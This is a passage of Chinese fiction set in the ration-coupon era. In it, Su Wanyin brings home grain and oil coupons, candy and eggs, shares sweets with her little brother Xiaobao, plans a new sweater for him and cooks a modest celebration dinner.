她提着那个沉甸甸的布口袋走到屋里,就着昏暗的光线,将里面的东西一样一样小心地倒在炕桌上。 黄褐色的全国粮票,印着清晰的斤两,捏在手里仿佛能触摸到馒头的柔软。 淡黄色的油票更是珍贵,意味着以后做饭能多放些油了,她和小宝肚子里其实很缺油水,恨不得抱着大肥猪直接啃! 那几张工业券、颜色鲜亮的毛线、圆滚滚的鸡蛋,还有几颗印着简单花纹的水果硬糖…… 每一样都实实在在地宣告着:她成功了。 “姐……”小宝趴在桌边,眼睛瞪得溜圆,小手指小心翼翼地碰了碰那些水果糖,又飞快地缩回来,仿佛那是什么烫手的宝贝。 他吃过糖的次数屈指可数,记忆里那甜滋滋的滋味遥远得像一场梦。 苏婉音看着弟弟那渴望又怯生生的模样,心里最柔软的地方被狠狠戳了一下。 她撕开糖纸,拿出一颗橙黄色的硬糖,递到他嘴边:“尝尝,甜不甜。” 小宝迟疑了一下,然后迅速张嘴含住了糖块。 下一秒,极致的甜味在他口中化开,小家伙的眼睛瞬间像被点亮的星星,幸福地眯成了一条缝,含混不清地嘟囔:“甜!好甜!姐,你也吃!” 苏婉音也剥了一颗放进自己嘴里,久违的、纯粹的甜味弥漫开来,冲淡了连日来的疲惫和焦虑。 她将粮票和油票仔细收进藏钱的小瓦罐里,工业券也放好。 然后拿起那卷鲜亮的橘红色毛线,比划了一下小宝的身量。 “小宝,姐用这个毛线给你织件新毛衣,好不好?冬天就不怕冷了。” 小宝嘴里含着糖,惊喜地看着那团暖色的毛线,用力点头,含混地说:“好!谢谢姐!”他想象着自己穿上新毛衣的样子,一定比村里最富有的支书家的小子还神气! 最后,苏婉音拿起两个鸡蛋,心情愉悦地走向灶房。 今晚,她要庆祝一下。 糙米粥照旧熬上,但今天,她奢侈地打了个鸡蛋进去,用筷子飞快搅散,金黄的蛋花瞬间让一锅粥变得诱人起来。 另一个鸡蛋,她蒸了一碗嫩滑的鸡蛋羹,点上一滴宝贵的酱油,撒上一点点葱花。 又将剩下的野菜凉拌,滴上两滴新换来的油。 晚饭桌上,小宝看着金灿灿的蛋花粥和那半碗鸡蛋羹,吃得头也不抬,小脸上全是满足。 苏婉音看着弟弟,喝着同样美味的蛋花粥,心里那份踏实和喜悦愈发充盈。 日子,真的在一点点变好。 然而,菌酱的香味和苏家姐弟悄然变化的生活,就像投入平静池塘的石子,涟漪总会扩散出去,不可能完全瞒住。